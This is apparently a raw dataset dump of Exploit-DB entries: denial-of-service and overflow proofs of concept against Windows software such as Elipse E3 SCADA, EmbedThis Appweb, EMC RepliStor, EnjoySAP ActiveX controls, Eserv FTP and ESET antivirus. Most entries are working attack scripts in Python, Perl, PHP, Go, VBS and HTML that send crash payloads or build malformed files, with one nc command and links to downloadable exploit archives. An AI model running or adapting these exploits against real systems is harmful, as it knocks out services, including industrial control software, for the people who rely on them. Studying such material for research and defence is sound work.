deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20834
Description: ElectroSoft ElectroComm 1.0/2.0 - Denial of Service
Type: dos
Platform: windows
Date: 2001-05-07
Author: nemesystm

Exploit:
source: https://www.securityfocus.com/bid/2706/info

ElectroComm is a telnet-comm port server for Windows 9x/NT, allowing users to connect a PC's comm port to a TCP/IP network and login remotely using Telnet.

An attacker can execute a denial of service attack on ElectroComm by submitting two groups of approximately 160,000 characters to the target's telnet port.

This increases CPU utilization to 100%, then crashes the service, which requires a restart. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20834.zip
Exploit-DB #35379
Description: Elipse E3 - HTTP Denial of Service
Type: dos
Platform: windows
Date: 2014-11-26
Author: firebitsbr

Exploit:
// Exploit Http DoS Request for SCADA ATTACK Elipse 3
// Mauro Risonho de Paula Assumpção aka firebits
// mauro.risonho@gmail.com
// 29-10-2013 11:42
// Vendor Homepage: http://www.elipse.com.br/port/index.aspx
// Software Link: http://www.elipse.com.br/port/e3.aspx
// Version: 3.x and prior
// Tested on: windows
// CVE : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8652
// NVD : https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-8652
// Hard lock Dll crash in Windows 2003 SP2 + 20 requests connections
// exploit in Golang (golang.com) C Google
// compile and execute:
// go build Exploit-Http-DoS-Request-for-SCADA-ATTACK-Elipse3-PoC.go
// chmod +x Exploit-Http-DoS-Request-for-SCADA-ATTACK-Elipse3-PoC.go
// ./Exploit-Http-DoS-Request-for-SCADA-ATTACK-Elipse3-PoC.go

package main

import (
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
)

func main() {
	count := 1
//	fmt.Println ("")
//	fmt.Println ("   _____.__              ___.   .__  __           ")
//	fmt.Println (" _/ ____\__|______   ____\_ |__ |__|/  |_  ______ ")
//	fmt.Println (" \   __\|  \_  __ \_/ __ \| __ \|  \   __\/  ___/ ")
//	fmt.Println (" |  |  |  ||  | \/\  ___/| \_\ \  ||  |  \___ \  ")
//	fmt.Println (" |__|  |__||__|    \___  >___  /__||__| /____  > ")
//	fmt.Println ("                       \/    \/              \/  ")
//	fmt.Println ("					 bits on fire. ")
	fmt.Println ("Exploit Http DoS Request for SCADA ATTACK Elipse 3")
	fmt.Println ("Mauro Risonho de Paula Assumpção aka firebits")
	fmt.Println ("29-10-2013 11:42")
    fmt.Println ("mauro.risonho@gmail.com")
	fmt.Println ("Hard lock Dll crash in Windows 2003 SP2 + ")
	fmt.Println ("20 requests connections per second")

	for {
		count += count
		//http://192.168.0.1:1681/index.html -> Elipse 3 http://<ip-elipse4><port listen: default 1681>

		fmt.Println ("Exploit Http DoS Request for SCADA ATTACK Elipse 3")
		fmt.Println ("Mauro Risonho de Paula Assumpção aka firebits")
		fmt.Println ("29-10-2013 11:42")
        fmt.Println ("mauro.risonho@gmail.com")
		fmt.Println ("Hard lock Dll crash in Windows 2003 SP2 + ")
		fmt.Println ("20 requests connections")

		fmt.Println ("Connected Port 1681...Testing")
        fmt.Println ("Counter Loops: ", count)

		res, err := http.Get("http://192.168.0.1:1681/index.html")
		if err != nil {
			log.Fatal(err)
		}
			robots, err := ioutil.ReadAll(res.Body)
			res.Body.Close()
			if err != nil {
			log.Fatal(err)
		}
		fmt.Printf("%s", robots)
	}
}
Exploit-DB #9429
Description: EmbedThis Appweb 3.0B.2-4 - Multiple Remote Buffer Overflows (PoC)
Type: dos
Platform: windows
Date: 2009-08-13
Author: Dr_IDE

Exploit:
#!/usr/bin/python
############################################################################
# 
# EmbedThis Appweb v3.0B.2-4 Multiple Remote Buffer Overflow PoCs
# Found By: Dr_IDE
# Based On: http://www.milw0rm.com/exploits/9411
# Tested On: XP SP2
# Notes: These don't seem to actually take down the server, they cause
# a fault in libappweb.dll.
#
############################################################################

from socket import *

# Seems like the server really doesn't like talking to us...
# Anything you send seems to elicit the same crash from the server.

#payload = ("\x41" * 10000 + " HTTP/1.1\r\n\r\n")
#payload = "HEAD HTTP/1.1\r\n\r\n"
#payload = "GET HTTP/1.1\r\n\r\n"
#payload = "GET \r\n\r\n"
#payload = "HEAD \r\n\r\n"
payload = "\r\n\r\n"

ip = raw_input(" [*] Enter the target IP: ")
s = socket(AF_INET, SOCK_STREAM)
s.connect((ip, 80))

print " [*] Connecting to Target."
s.send(payload)
print " [*] Sending \"payload\"..."
print " [*] Crash will pop up in a few seconds."
s.close()
raw_input(" [*] Done, press enter to quit")

# milw0rm.com [2009-08-13]
Exploit-DB #9879
Description: EMC RepliStor Server 6.3.1.3 - Denial of Service
Type: dos
Platform: windows
Date: 2009-10-20
Author: bellick

Exploit:
<?php
    /*
    EMC RepliStor Server (rep_serv.exe) 6.3.1.3 remote denial of
    service poc
    by Nine:Situations:Group::bellick
     
    */
     
    $host = "192.168.0.1";
    $port = 7144;
     
    $_sock = fsockopen($host, $port, $errno, $errstr, 2);
    if (!$fp) {
        echo "$errstr ($errno)\n";
    } else {
        $_p = "\x54\x93\x00\x00\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41";
        fputs($_sock, $_p);
        fclose($_sock);
    }
?>

original url: http://retrogod.altervista.org/9sg_emc_repli_crash.html
Exploit-DB #1782
Description: Empire 4.3.2 - 'strncat' Denial of Service
Type: dos
Platform: windows
Date: 2006-05-14
Author: Luigi Auriemma

Exploit:
# Empire <= 4.3.2 (strncat) Denial of Service Exploit

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1782.zip (05132006-empiredos.zip)

# milw0rm.com [2006-05-14]
Exploit-DB #22420
Description: Emule 0.27b - Empty Nickname Chat Request Denial of Service
Type: dos
Platform: windows
Date: 2003-03-25
Author: Auriemma Luigi

Exploit:
source: https://www.securityfocus.com/bid/7189/info

A denial of service vulnerability has been reported for Emule. The vulnerability occurs when a Emule client recieves a chat request without a nickname. 

This vulnerability was reported for Emule clients prior to 0.27c.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22420.zip
Exploit-DB #471
Description: Emulive Server4 Build 7560 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2004-09-21
Author: GulfTech Security

Exploit:
#!/usr/bin/perl
##############################################
# EmuLive Server4 Commerce Edition Build 7560 
##############################################
# Remote crash proof of conecpt code. When the 
# machine running Server4 recieves a malformed
# request on TCP port 66 it crashes very hard!
##############################################
# GulfTech Security   http://www.gulftech.org
##############################################

use IO::Socket;

unless ($ARGV[0]) 
{ 
	die "usage: s4nomore.pl host port"
}

	printf("==========================================================\n",);
	printf(" EmuLive Server4 Commerce Edition Build 7560 Remote Crash \n",);
	printf("==========================================================\n",);


	my $host = $ARGV[0];
	my $port = $ARGV[1];


	my $dead = "\x0D\x0A\x0D\x0A\x0D\x0A\x0D\x0A". #\r\n\r\n\r\n\r\n
			   "\x0D\x0A\x0D\x0A\x0D\x0A\x0D\x0A". #\r\n\r\n\r\n\r\n
			   "\x0D\x0A\x0D\x0A\x0D\x0A\x0D\x0A". #\r\n\r\n\r\n\r\n
			   "\x0D\x0A\x0D\x0A\x0D\x0A\x0D\x0A"; #\r\n\r\n\r\n\r\n


	my $i = IO::Socket::INET->new( Proto => "tcp",
							       PeerAddr  => $host,
								   PeerPort  => $port,
							       Timeout   => '100',
							       Type      => SOCK_STREAM,
							      ) || die("Connect Error");

		printf("[*] Sending Death Packet To %s\n", $host);
		print $i $dead;	
		$i->autoflush(1);
		printf("[*] Host %s Should Now Be Dead\n", $host);
		printf("[*] Closing Connections And Exiting  \n");
		close $i;
		exit;

# milw0rm.com [2004-09-21]
Exploit-DB #46871
Description: Encrypt PDF 2.3 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-20
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: Encrypt PDF v2.3 - Denial of Service (PoC)
# Date: 19/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.verypdf.com
# Software: http://www.verypdf.com/encryptpdf/encryptpdf.exe
# Version: 2.3
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "EncryptPDF.py", it will create a new file "EncryptPDF.txt"
# 2.- Copy the text from the generated EncryptPDF.txt file to clipboard
# 3.- Open Encrypt PDF v2.3
# 4.- Go to 'Setting', paste clipboard in the field 'User Password' or the field 'Master Password' and Click 'OK'
# 5.- Click on 'Open PDF(s)', when you import a pdf file, you will see a crash

buffer = "\x41" * 1000

f = open ("EncryptPDF.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #4148
Description: EnjoySAP ActiveX kweditcontrol.kwedit.1 - Remote Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2007-07-05
Author: Mark Litchfield

Exploit:
<!--
=======
Summary
=======
Name: EnjoySAP, SAP GUI for Windows - Stack Overflow
Release Date:  5 July 2007
Reference: NGS00483
Discover: Mark Litchfield <mark@ngssoftware.com>
Vendor: SAP
Vendor Reference: SECRES-289
Systems Affected: All Versions
Risk: High
Status: Fixed

========
TimeLine
========
Discovered:  4 January 2007
Released: 19 January 2007
Approved: 29 January 2007
Reported: 11 January 2007
Fixed: 18 May 2007
Published:

===========
Description
===========
EnjoySAP, also know as Enjoy is the most popular SAP GUI used today.  The
latest version can be obtained from ftp://ftp.sap.com/pub/sapgui/win/

When installing EnjoySAP, in appreciation of its vast size for being a
client (around 500MB), there are an astounding 1102 ActiveX controls
installed.

A relatively brief examinaton of these controls, found a large number of
instances that would terminate EnjoySAP process, there were a number that
could create files on the file system (there unfortunately exists no
ability to inject content into these created files) and a number of
bufferoverruns.

=================
Technical Details
=================
Control - kweditcontrol.kwedit.1 (Marked Safe For Scripting)

Function - PrepareToPostHTML

DLL Path - C:\Program Files\SAP\FrontEnd\SapGui\kwedit.dll

POC:
-->

<HTML>
<HEAD>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<SCRIPT type=text/javascript>

function init()
{
var foo = "";

for(var icount = 0; icount < 1060; icount++)
{
 foo = foo + "x";
}
var ngssoftware;
ngssoftware = new ActiveXObject("kweditcontrol.kwedit.1");

ngssoftware["PrepareToPostHTML"](foo);
}
//-->
</SCRIPT>

</HEAD>
<BODY bgColor=#ffffff onload=init()>
</BODY></HTML>

# milw0rm.com [2007-07-05]
Exploit-DB #4149
Description: EnjoySAP ActiveX rfcguisink.rfcguisink.1 - Remote Heap Overflow (PoC)
Type: dos
Platform: windows
Date: 2007-07-05
Author: Mark Litchfield

Exploit:
<!--
=======
Summary
=======
Name: EnjoySAP, SAP GUI for Windows - Heap Overflow
Release Date:  5 July 2007
Reference: NGS00482
Discover: Mark Litchfield <mark@ngssoftware.com>
Vendor: SAP
Vendor Reference: SECRES-290
Systems Affected: All ASCII Versions
Risk: High
Status: Fixed

========
TimeLine
========
Discovered:  4 January 2007
Released: 19 January 2007
Approved: 29 January 2007
Reported: 12 January 2007
Fixed: 27 March 2007
Published:

===========
Description
===========
EnjoySAP, also know as Enjoy is the most popular SAP GUI used today.  The
latest version can be obtained from ftp://ftp.sap.com/pub/sapgui/win/

When installing EnjoySAP, in appreciation of its vast size for being a
client (around 500MB), there are an astounding 1102 ActiveX controls
installed.

A relatively brief examinaton of these controls, found a large number of
instances that would terminate EnjoySAP process, there were a number that
could create files on the file system (there unfortunately exists no
ability to inject content into these created files) and a number of
bufferoverruns.

=================
Technical Details
=================
Control - rfcguisink.rfcguisink.1

Function - LaunchGui

POC:
-->

<HTML>
<HEAD>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<SCRIPT type=text/javascript>

function init()
{
var foo = "";

for(var icount = 0; icount < 1800; icount++)
{
 foo = foo + "x";
}
var ngssoftware;
ngssoftware = new ActiveXObject("rfcguisink.rfcguisink.1");

ngssoftware["LaunchGui"](foo, 1, 1);
}
//-->
</SCRIPT>

</HEAD>
<BODY bgColor=#ffffff onload=init()>
</BODY></HTML>

# milw0rm.com [2007-07-05]
Exploit-DB #6253
Description: EO Video 1.36 - Local Heap Overflow Denial of Service / (PoC)
Type: dos
Platform: windows
Date: 2008-08-16
Author: j0rgan

Exploit:
#!/usr/bin/python
# --------------------------------------------------------------
# EO Video v1.36 Heap Overflow local PoC/DoS exploit
# *.eop playlist file in <Name> buffer overflow
# Other versions may be vulnerable too...
# --------------------------------------------------------------
# Vulnerability discovered and coded by Muris Kurgas aka j0rgan
# jorganwd [at] gmail [dot] com
# --------------------------------------------------------------
#
# Who uses this crap of player anyway? :)
# --------------------------------------------------------------
# EAX 42424242
# EDX 42424242
# --------------------------------------------------------------

import os

bafer = '\x41'* 700 + '\x42' * 4

print "Spit me out, all bright and shiny! :)"
fileHandle = open ( 'plejlista.eop', 'w' )
fileHandle.write ('<EOPlaylist>\n<Playlist>\n<FolderList>\n<Folder>\n<Name>nesto</Name>\n<TrueFrequency>1</TrueFrequency>\n ')
fileHandle.write ('</Folder>\n<Folder>\n<Name>nesto</Name>\n<TrueFrequency>1</TrueFrequency>\n</Folder>\n</FolderList>\n<ProjectElement>\n ')
fileHandle.write ('<Name>'+bafer+'</Name>')
fileHandle.write ('<StartTime>0</StartTime>\n<EndTime>0</EndTime>\n<MediaSize>\n<Width>-1</Width>\n<Height>-1</Height>\n</MediaSize>\n ')
fileHandle.write ('<State>30216</State>\n<FolderPositionIndex>0</FolderPositionIndex>\n ')
fileHandle.write ('</ProjectElement>\n</Playlist>\n</EOPlaylist>\n')
fileHandle.close ()

# milw0rm.com [2008-08-16]
Exploit-DB #9200
Description: EpicVJ 1.2.8.0 - '.mpl' / '.m3u' Local Heap Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-07-20
Author: hack4love

Exploit:
#!/usr/bin/perl
# Found By :: HACK4LOVE
# EpicVJ 1.2.8.0 (.mpl / .m3u ) Local heap Overflow PoC
# http://www.epicdjsoftware.com/
########################################################################################
########################################################################################
my $crash="\x41" x 5000;
open(myfile,'>>hack4love.m3u');
print myfile $crash;
########################################################################################

# milw0rm.com [2009-07-20]
Exploit-DB #9304
Description: Epiri Professional Web Browser 3.0 - Remote Crash
Type: dos
Platform: windows
Date: 2009-07-30
Author: LiquidWorm

Exploit:
' Title: Epiri Professional Web Browser 3.0 Remote Crash Exploit

' Vendor: Horizon
' Product Web Page: http://www.horizonum.com/
' Current Version: 3.0.0.00
' Notiz: Microsoft Silverlight
' Vulnerable Mode: Browse Internet
' Tested On Microsoft Windows XP Professional SP3 (En)

' Vulnerable strings:

' file://
' C::
' C:\AAAA...AAAA [257]
'

' Vulnerability Discovered By Gjoko 'LiquidWorm' Krstic
' liquidworm gmail com
' http://www.zeroscience.org/
' 28.07.2009


' Working PoC: http://zeroscience.org/codes/epiri_crash.vbs

Dim crash

Set crash = CreateObject("WScript.Shell")

With crash

Do Until Success = True

Success = crash.AppActivate("Epiri Professional 3.0")

Loop

'.SendKeys "file://"
'.SendKeys "C::"
.SendKeys "C:\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

.SendKeys "~" 'Return

End With

Wscript.Quit

# milw0rm.com [2009-07-30]
Exploit-DB #18602
Description: Epson EventManager 2.50 - Denial of Service
Type: dos
Platform: windows
Date: 2012-03-14
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  Epson EventManager
              http://www.epson.com
Versions:     <= 2.50
Platforms:    Windows
Bug:          Denial of Service
Exploitation: remote
Date:         14 Mar 2012
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


Epson EventManager is a program started when the computer starts and
listens on port 2968 ("Network Scan" enabled by default), it allows to
automate some actions of the Epson scanners (like the scan&save button)
through the PushScan protocol.


#######################################################################

======
2) Bug
======


The secure strncpy function that copies the "x-protocol-version" string
in a 7 bytes buffer can be forced to (auto)terminate the program if
it's longer than that size and starts with "1.":

  0163967F  |> 53             PUSH EBX
  01639680  |. 8B5C24 24      MOV EBX,DWORD PTR SS:[ESP+24]
  01639684  |. 53             PUSH EBX
  01639685  |. 50             PUSH EAX
  01639686  |. E8 25F8FFFF    CALL epnsm.01638EB0   ; parse "x-protocol-version" string
  0163968B  |. 83C4 08        ADD ESP,8
  0163968E  |. 83F8 01        CMP EAX,1
  01639691  |. 0F85 FC000000  JNZ epnsm.01639793    ; version 1
  01639697  |. 8B4C24 2C      MOV ECX,DWORD PTR SS:[ESP+2C]
  0163969B  |. 8B5424 0C      MOV EDX,DWORD PTR SS:[ESP+C]
  0163969F  |. 6A 06          PUSH 6
  016396A1  |. 33C0           XOR EAX,EAX
  016396A3  |. 52             PUSH EDX
  016396A4  |. 8901           MOV DWORD PTR DS:[ECX],EAX
  016396A6  |. 51             PUSH ECX
  016396A7  |. 66:8941 04     MOV WORD PTR DS:[ECX+4],AX
  016396AB  |. E8 D0B5FFFF    CALL epnsm.01634C80   ; secure strncpy


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/eeventmanager_1.dat
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18602.dat

  nc SERVER 2968 < eeventmanager_1.dat


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #17836
Description: Equis MetaStock 11 - Use-After-Free
Type: dos
Platform: windows
Date: 2011-09-14
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  Equis MetaStock
              http://www.equis.com
Versions:     <= 11
Platforms:    Windows
Bug:          use after free
Exploitation: file
Date:         06 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


MetaStock is the most used and awarded software for performing
technical analysis of stocks, futures, forex, commodities, indices and
other financial instruments.


#######################################################################

======
2) Bug
======


All the files supported by MetaStock (mwc/mws charts, mwt templates and
mwl layout) cause an use-after-free vulnerability exploitable through
invalid and malformed files:

  eax=41414141 ebx=73eccedd ecx=01028620 edx=00000004 esi=010283c0 edi=0012e748
  eip=00486378 esp=0012deb0 ebp=0012e754 iopl=0         nv up ei pl nz na po nc
  cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
  Mswin+0x86378:
  00486378 ff5004          call    dword ptr [eax+4]    ds:0023:41414145=????????

Modified bytes:
0000308B   1E       40
00003214   74       41      ; eax 0x41414141 on Windows 2003 Server
00003215   69       41
00003216   76       41
00003217   65       41


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/metastock_1.mwl
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17836.mwl


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #6752
Description: Eserv 3.x - FTP Server (ABOR) Remote Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-10-14
Author: LiquidWorm

Exploit:
#!/usr/bin/perl
#
# Eserv/3.x FTP Server (ABOR) Remote Stack Overflow PoC
#
# Summary: Eserv/3.x - Mail, News, Web and Proxy Servers - Mail
# Server (SMTP, IMAP4 and POP3) - News Server (NNTP) - Web Server
# (HTTP) - FTP Server - Proxy Servers (HTTP, FTP, Socks, etc) - Finger
# Server - Built-in scheduler and dialer.
#
# Product web page: http://www.eserv.ru/ | www.etype.net/eserv/
#
# Tested on Microsoft Windows XP SP2 (English)
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# liquidworm [t00t] gmail.com
#
# http://www.zeroscience.org
#
# 14.10.2008
#

use Net::FTP;

$ipaddr = "127.0.0.1";
$mana = "..?" x 13000;
$user = "admin";
$pass = "nimda";
$port = 21;

$ftp = Net::FTP->new("$ipaddr", Debug => 0) || die "Cannot connect to $ipaddr on port $port: $@";
$ftp->login($user,$pass) || die "Cannot login ", $ftp->message;

$ftp->abor($mana);

$ftp->quit;

print "\nDone!\n";

# milw0rm.com [2008-10-14]
Exploit-DB #12529
Description: ESET Smart Security 4.2 and NOD32 AntiVirus 4.2 (x86/x64) - LZH archive parsing (PoC)
Type: dos
Platform: windows
Date: 2010-05-07
Author: Oleksiuk Dmitry_ eSage Lab

Exploit:
#
# ESET Smart Security 4.2 and NOD32 Antivirus 4.2 (x32-x64)
# LZH archive parsing PoC exploit.
#
# Scanning of malicious file causes heap corruption in context
# of the service process (ekrn.exe).
# See Dr. Watson log (drwtsn32.log) for details.
#
# USAGE: python eset_lzh.py (TEST.LZH will be created)
#
# (c) 2010 eSage Lab
# http://www.esagelab.com/
# support@esagelab.com
#

data = (
"\x21"	           # Size of archived file header
"\x83"             # Checksum of remaining bytes
"-lh"              # ID
"5"                # Compression method (LZW, Arithmetic Encoding)
"-"                # ID 
"\x13\x00\x00\x00" # Compressed size
"\x30\x00\x00\x00" # Uncompressed size
"\xFB\x3A\x6C\x3B" # Original file date/time
"\x20\x01"         # File attribute
"\x08"             # File name length
"TEST.TXT"         # File name
"\xDC\x41\x4D\x00\x00\x00\x0B\x33\x6D\x66\x49\x5D" # !!! broken LZW compressed data
"\x23\x08\x8A\x78\x00\x00\xC0\x81\xA5\xC0\xD7\x20" #
)

print "ESET Smart Security 4.2 and NOD32 Antivirus 4.2 (x32-x64) LZH File parsing PoC exploit"
print "(c) 2010 eSage Lab"
print "----------------------------"

f = open("TEST.LZH", 'wb')
f.write(data)
f.close()

print "TEST.LZH (%d bytes) created" % len(data)
print "Now try to scan it with antivirus"